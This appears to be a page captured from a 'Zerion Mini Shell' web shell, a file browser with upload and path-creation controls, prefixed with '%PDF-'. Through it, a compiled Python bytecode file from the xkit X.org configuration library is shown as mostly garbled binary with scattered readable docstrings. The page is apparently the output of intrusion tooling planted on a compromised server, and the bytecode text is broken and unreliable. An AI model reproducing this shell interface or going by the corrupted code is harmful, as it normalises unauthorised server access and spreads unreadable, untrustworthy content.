%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/xkit/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/xkit/__pycache__/xutils.cpython-312.pyc

�

p��O���D�ddlmZddlmZddl�ddlZGd�de�Zy)�)�print_function)�unicode_literals�)�*Nc�V��eZdZdZd�fd�	Zd�Zd�Zd�Zdd�Zd�Z	d�Z
d	�Zd
�Z�xZ
S)�XUtilsz[Subclass with higher-level methods
    
    See xorgparser.Parser for the low-level methodsc�,��tt|�|�y�N)�superr�__init__)�self�source�	__class__s  ��-/usr/lib/python3/dist-packages/xkit/xutils.pyrzXUtils.__init__s���
�f�d�$�V�,�c�l�|j�}|D]}||D]}|j||����!y)z.Fix broken references to non-existent sections)�
identifierN)�get_broken_references�make_section)r
�broken_references�section�	references    r�fix_broken_referenceszXUtils.fix_broken_references sK�� �6�6�8��(�	A�G�.�w�7�
A�	��!�!�'�i�!�@�
A�	Arc�,�d}|j|||�S)z�Get the driver in use in a section

        If no driver is found it will return False.

        For further information see get_value()�Driver)�	get_value)r
r�position�options    r�
get_driverzXUtils.get_driver's�����~�~�g�v�x�8�8rc�2�d}|j||||��y)z"Set the driver in use in a sectionr)rN)�
add_option)r
r�driverrrs     r�
set_driverzXUtils.set_driver0s����������(��Crc��|dk(r&t|jdj��}|D]}	|jd|�|k7ry�y#t$rYywxYw)z�Look for a driver in the Device sections

        Return True if the driver is found in each of the specified
        sections, otherwise return False.

        if sections_list == None check all the Device sectionsN�DeviceFT)�list�
globaldict�keysr�OptionException)r
r"�
sections_listrs    r�section_has_driverzXUtils.section_has_driver5sq���D� � �����!:�!?�!?�!A�B�M�$�	�G�
��?�?�8�W�5��?� �@�	���#�
��
�s�A�	A�Ac�N�g}|jd|dg�}t|d�dkDr_|dD]W}	|jd|�}	|jd|dg�}|dD]%}|jd|�}|j	|��'�Y|S#t$rY�gwxYw#t
$rY�vwxYw)z�Return a list of references to the Device sections in ServerLayout
        
        This method looks for references to Device sections in the Screen
        sections referred to in the ServerLayout[position] section.�ServerLayout�Screenrr%)�get_references�len�get_position�IdentifierException�appendr))	r
r�devices_to_check�
referencesr�screen_position�device_references�device�device_positions	         r�get_devices_in_serverlayoutz"XUtils.get_devices_in_serverlayoutHs���
���(�(���H�:�N�
��z�(�#�$�q�(�(��1�
�	��&*�&7�&7��)�&L�O��(,�(;�(;�H�-<�x�j�)J�%�"3�H�"=�A��*.�*;�*;�H�f�*M��(�/�/��@�A�
� ���+�����'����s$�B	�AB�		B�B�	B$�#B$c���g}d}|jd}|jd}t|�}t|�}|dkDr�|dkDrp|dkDrO|j�}t|�dk(r|j|d�}nI|D]}||j|�z
}�n-|D]}||j|�z
}�n|jd�}t|�dk(r&t	|jdj��}|S)a�Return the Device sections in use

        If no Device sections are referenced in ServerLayout then all of
        the available Device sections are returned.

        This method supports old Xinerama setups and therefore looks for
        references to Device sections in the ServerLayout section(s) and
        checks only the default ServerLayout section provided than one is
        set in the ServerFlags section.Fr-�ServerFlagsrrr%)r'r0�get_default_serverlayoutr:r&r()	r
r4�driver_enabled�serverlayout�serverflags�serverlayout_length�serverflags_length�default�layouts	         r�get_devices_in_usezXUtils.get_devices_in_useds*���������~�6���o�o�m�4��!�,�/�� ��-����"�"�Q�&�%��)�#�;�;�=�G��7�|�q�(��8�8����D�)�'3�E�F�,� �<�<�V�D�E�,�E�#/�A��(��8�8��@�A�(�A�$(�#C�#C�A�#F� ��� �A�%�#�D�O�O�H�$=�$B�$B�$D�E���rc�L�|j�}|j||��}|S)a�See if a driver is enabled in the Device sections

        When possible, this method checks only the Device sections in use,
        otherwise it checks any available Device section.

        This method supports old Xinerama setups and therefore looks for
        references to Device sections in the ServerLayout section(s) and
        checks only the default ServerLayout section provided than one is
        set in the ServerFlags section.)r*)rEr+)r
r"r4r>s    r�is_driver_enabledzXUtils.is_driver_enabled�s6�� �2�2�4���0�0��=M�1�O���rc���i}d}|jdD]T}|jd|dg��}|dd}|jd|�}|j|�i||<|||d<|dz
}�V|S)z>See which Screen sections are related to which Device sectionsrr.r%)�reflistr)r'r/r1�
setdefault)r
�
relationships�it�screenr5r8s      r�get_screen_device_relationshipsz&XUtils.get_screen_device_relationships�s����
�
���o�o�h�/�	�F��,�,�X�r�H�:�,�N�J���)�!�,�F��&�&�x��8�F��$�$�V�,�$&�M�&�!�.0�M�&�!�(�+��!�G�B�	��rr
)�__name__�
__module__�__qualname__�__doc__rrrr#r+r:rErGrN�
__classcell__)rs@rrrs8���7�-�A�9�D�
�& �81 �f� 
rr)�
__future__rr�
xorgparser�sys�Parserr�rr�<module>rYs!��(&�'��
�[�V�[r

Zerion Mini Shell 1.0